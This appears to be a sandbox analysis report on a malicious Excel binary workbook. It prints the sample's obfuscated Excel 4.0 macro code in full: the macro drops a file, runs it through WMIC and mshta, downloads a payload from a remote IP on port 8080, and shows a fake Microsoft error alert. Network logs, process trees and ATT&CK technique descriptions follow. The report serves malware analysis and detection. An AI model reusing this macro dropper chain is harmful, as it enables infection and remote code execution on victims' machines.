SSDEEP:	3:vZ/FFDJw2fV:vBFFGS
MD5:	797869BB881CFBCDAC2064F92B26E46F
SHA1:	61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
SHA-256:	D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185
SHA-512:	1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D
Malicious:	true
Reputation:	high, very likely benign file
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Static File Info

General
File type:	Microsoft Excel 2007+
Entropy (8bit):	7.880232506578822
TrID:	Excel Microsoft Office Open XML Format document with Macro (51004/1) 36.56% Microsoft Excel Office Binary workbook document (40504/1) 29.03% Excel Microsoft Office Open XML Format document (40004/1) 28.67% ZIP compressed archive (8000/1) 5.73%
File name:	03332955311591163552.xlsb
File size:	79613
MD5:	03b46f9c2c3a34b01d6c6653ae6058cf
SHA1:	151187d28d385e113a7af28b7174f7ab31e88c7c
SHA256:	0f42275a9cffd35cd5b51e5fae116431d8973ff94192ddd184f9cf1a10031ea0
SHA512:	c1ec925fcf177536d50785df2304df4fb6fdb2b49ce8e2254edaeca61d21128e3ebd485413be5ea0b053f18e21af56f83b240fc063529da42e3edc79ef37560e
SSDEEP:	1536:UW4PrX6Q3cWViBN3yKqxyeHw3vRMgF3oKy5h7aZkFOrRh7x8q+aNgdQ:VIqmc3/q0dfaguKymSOl0q9gdQ
File Content Preview:	PK..........!...l.....W.......[Content_Types].xml ...(.........................................................................................................................................................................................................

File Icon


Icon Hash:	e4e2ea8aa4b4b4b4

Static OLE Info

General
Document Type:	OpenXML
Number of OLE Files:	1

OLE File "03332955311591163552.xlsb"

Indicators
Has Summary Info:
Application Name:
Encrypted Document:
Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:

Macro 4.0 Code

0,564,=FOPEN("C:" & CHAR(92) & "Pro" & CHAR(103) & "ram" & CHAR(68) & "ata" & CHAR(92) & "" & CHAR(69) & "csbN" & CHAR(83) & CHAR(79) & "xkInoa" & CHAR(75) & ".rt" & CHAR(102), 3)
2,564,=C771+B3358
3,564,=C1372+B5815
4,564,=C3034+D5889
5,564,=B8734+D8279
6,564,=D1815+D9965
8,564,=B9542+D6767
9,564,=B5018+C9767
10,564,=A3001+B1175
14,564,=FOR.CELL("FaISTsVDGh",Sheet1!BZ159:CP427, TRUE)
17,564,=D6043+C4383
18,564,=D1988+A4014
21,564,=A9854+A2027
23,564,=A4466+A5233
27,564,=D3228+A9568
28,564,=FWRITE(0,CHAR(FaISTsVDGh))
30,564,=B9417+D957
34,564,=D2736+A3735
36,564,=A7745+A4468
37,564,=A9577+A7603
41,564,=NEXT()
44,564,=D6203+D6704
48,564,=D271+A2464
49,564,=C862+B1433
51,564,=D8629+B2544
53,564,=EXEC("" & CHAR(119) & "mic p" & CHAR(114) & "ocess cal" & CHAR(108) & " creat" & CHAR(101) & CHAR(32) & "" & CHAR(34) & "" & CHAR(109) & CHAR(115) & "hta C" & CHAR(58) & "\ProgramData" & CHAR(92) & "EcsbNSOxkIn" & CHAR(111) & "aK.rt" & CHAR(102) & CHAR(34))
54,564,=D7995+A4461
57,564,=B2564+D4980
58,564,=B424+D5690
59,564,=D3664+A8602
60,564,=D1224+A1591
63,564,=C8434+A2884
64,564,=B8882+B8994
65,564,=CALL("urlmo" & CHAR(110) & "", "URLDownloadT" & CHAR(111) & "Fi" & CHAR(108) & "" & CHAR(101) & CHAR(65),CHAR(74) & CHAR(74) & "CCJJ", 0, "http" & CHAR(58) & "//13" & CHAR(54) & CHAR(46) & "144.18" & CHAR(49) & CHAR(46) & CHAR(49) & "74:" & CHAR(56) & "080/Q2W5VWUF" & CHAR(76) & CHAR(53) & "" & CHAR(86) & "CMQ7JQPET" & CHAR(71) & "3CCTYX7" & CHAR(50) & "Z4" & CHAR(82) & "25PD" & CHAR(71), "C:" & CHAR(92) & "ProgramDa" & CHAR(116) & "a\" & CHAR(103) & CHAR(101) & "UjvKUyTJzj.tx" & CHAR(116),0,0)
67,564,=A2256+B4825
71,564,=D806+D8685
72,564,=C9749+A4044
73,564,=A7567+C5151
74,564,=D2929+C1646
75,564,=D520+B969
76,564,=D6921+D742
78,564,=C2007+B8208
79,564,=ALERT("Error! Sen" & CHAR(100) & CHAR(105) & "ng rep" & CHAR(111) & CHAR(114) & "t to " & CHAR(77) & CHAR(105) & "crosoft." & CHAR(46) & "" & CHAR(46) & "")
81,564,=B1267+D7232
82,564,=B229+A4473
84,564,=B8569+B9731
85,564,=A708+A80
87,564,=D5860+C7083
89,564,=D1262+A5225
91,564,=FOPEN("C:\Progra" & CHAR(109) & CHAR(68) & CHAR(97) & CHAR(116) & "a\geUjv" & CHAR(75) & "UyTJzj.tx" & CHAR(116) & "",1)
92,564,=D8060+A8468
98,564,=D9768+B411
99,564,=D6404+C4509
105,564,=SEND.MAIL(EVALUATE(FREAD(US92,255)))
107,564,=B3700+A4636
111,564,=A9666+A6358
115,564,=D9377+A7151
116,564,=RETURN()

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2021 03:37:42.153620958 CET	49167	8080	192.168.2.22	136.144.181.174
Nov 25, 2021 03:37:42.181308985 CET	8080	49167	136.144.181.174	192.168.2.22
Nov 25, 2021 03:37:42.692008972 CET	49167	8080	192.168.2.22	136.144.181.174
Nov 25, 2021 03:37:42.719654083 CET	8080	49167	136.144.181.174	192.168.2.22
Nov 25, 2021 03:37:43.222310066 CET	49167	8080	192.168.2.22	136.144.181.174
Nov 25, 2021 03:37:43.250269890 CET	8080	49167	136.144.181.174	192.168.2.22
Nov 25, 2021 03:37:43.251727104 CET	49168	8080	192.168.2.22	136.144.181.174
Nov 25, 2021 03:37:43.279582024 CET	8080	49168	136.144.181.174	192.168.2.22
Nov 25, 2021 03:37:43.784055948 CET	49168	8080	192.168.2.22	136.144.181.174
Nov 25, 2021 03:37:43.813091993 CET	8080	49168	136.144.181.174	192.168.2.22
Nov 25, 2021 03:37:44.330049038 CET	49168	8080	192.168.2.22	136.144.181.174
Nov 25, 2021 03:37:44.359146118 CET	8080	49168	136.144.181.174	192.168.2.22

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 2656 Parent PID: 596

General

Start time:	03:37:14
Start date:	25/11/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13f240000
File size:	28253536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: WMIC.exe PID: 2784 Parent PID: 2656

General

Start time:	03:37:37
Start date:	25/11/2021
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic process call create "mshta C:\ProgramData\EcsbNSOxkInoaK.rtf"
Imagebase:	0xffe50000
File size:	566272 bytes
MD5 hash:	FD902835DEAEF4091799287736F3A028
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: mshta.exe PID: 2096 Parent PID: 1304

General

Start time:	03:37:38
Start date:	25/11/2021
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	mshta C:\ProgramData\EcsbNSOxkInoaK.rtf
Imagebase:	0x13f5a0000
File size:	13824 bytes
MD5 hash:	95828D670CFD3B16EE188168E083C3C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Warning!

Windows Analysis Report 03332955311591163552.xlsb

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Initial Sample

Dropped Files

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "03332955311591163552.xlsb"

Indicators

Macro 4.0 Code

Network Behavior

Network Port Distribution

TCP Packets

Code Manipulations

Statistics

Behavior

System Behavior

Analysis Process: EXCEL.EXE PID: 2656 Parent PID: 596

General

Analysis Process: WMIC.exe PID: 2784 Parent PID: 2656

General

Analysis Process: mshta.exe PID: 2096 Parent PID: 1304

General

Disassembly